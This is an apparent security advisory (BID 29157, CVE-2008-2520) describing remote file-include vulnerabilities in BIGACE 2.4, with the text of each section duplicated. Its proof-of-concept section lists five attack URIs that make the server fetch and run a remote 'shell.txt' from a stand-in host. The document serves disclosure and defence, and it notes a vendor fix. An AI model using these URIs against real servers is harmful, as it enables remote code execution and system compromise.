BIGACE 'GLOBALS[_BIGACE][DIR]' Parameter Multiple Remote File Include Vulnerabilities
BID:29157
Info
BIGACE 'GLOBALS[_BIGACE][DIR]' Parameter Multiple Remote File Include Vulnerabilities
| Bugtraq ID: | 29157 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2520 |
| Remote: | Yes |
| Local: | No |
| Published: | May 12 2008 12:00AM |
| Updated: | May 07 2015 05:29PM |
| Credit: | ShAd0w-CrEw |
| Vulnerable: |
BigACE BigACE 2.4 |
| Not Vulnerable: | |
Discussion
BIGACE 'GLOBALS[_BIGACE][DIR]' Parameter Multiple Remote File Include Vulnerabilities
BIGACE is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these issues to include arbitrary remote PHP code and execute it in the context of the webserver process.
A successful exploit may lead to a compromise of the underlying system; other attacks are also possible.
BIGACE 2.4 is vulnerable; other versions may also be affected.
BIGACE is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these issues to include arbitrary remote PHP code and execute it in the context of the webserver process.
A successful exploit may lead to a compromise of the underlying system; other attacks are also possible.
BIGACE 2.4 is vulnerable; other versions may also be affected.
Exploit / POC
BIGACE 'GLOBALS[_BIGACE][DIR]' Parameter Multiple Remote File Include Vulnerabilities
Attackers can exploit these issues via a browser.
The following proof-of-concept URIs are available:
http://www.example.com/bigace/addon/smarty/plugins/function.captcha.php?GLOBALS[_BIGACE][DIR][addon]=http://www.example2.com/shell.txt?
http://www.example.com/bigace/system/application/util/item_information.php?GLOBALS[_BIGACE][DIR][admin]=http://www.example2.com/shell.txt?
http://www.example.com/bigace/system/application/util/jstree.php?GLOBALS[_BIGACE][DIR][admin]=http://www.example2.com/shell.txt?
http://www.example.com/bigace/system/classes/sql/AdoDBConnection.php?GLOBALS[_BIGACE][DIR][addon]=http://www.example2.com/shell.txt?
http://www.example.com/bigace/system/admin/plugins/menu/menuTree/plugin.php?GLOBALS[_BIGACE][DIR][admin]=http://www.example2.com/shell.txt?
Attackers can exploit these issues via a browser.
The following proof-of-concept URIs are available:
http://www.example.com/bigace/addon/smarty/plugins/function.captcha.php?GLOBALS[_BIGACE][DIR][addon]=http://www.example2.com/shell.txt?
http://www.example.com/bigace/system/application/util/item_information.php?GLOBALS[_BIGACE][DIR][admin]=http://www.example2.com/shell.txt?
http://www.example.com/bigace/system/application/util/jstree.php?GLOBALS[_BIGACE][DIR][admin]=http://www.example2.com/shell.txt?
http://www.example.com/bigace/system/classes/sql/AdoDBConnection.php?GLOBALS[_BIGACE][DIR][addon]=http://www.example2.com/shell.txt?
http://www.example.com/bigace/system/admin/plugins/menu/menuTree/plugin.php?GLOBALS[_BIGACE][DIR][admin]=http://www.example2.com/shell.txt?
Solution / Fix
BIGACE 'GLOBALS[_BIGACE][DIR]' Parameter Multiple Remote File Include Vulnerabilities
Solution:
The vendor has released an update to address this issue. Contact the vendor for details on obtaining the appropriate updates.
Solution:
The vendor has released an update to address this issue. Contact the vendor for details on obtaining the appropriate updates.
References
BIGACE 'GLOBALS[_BIGACE][DIR]' Parameter Multiple Remote File Include Vulnerabilities
References:
References:
- BIGACE Homepage (BIGACE)
- Security problem - Urgent Update required! (BIGACE)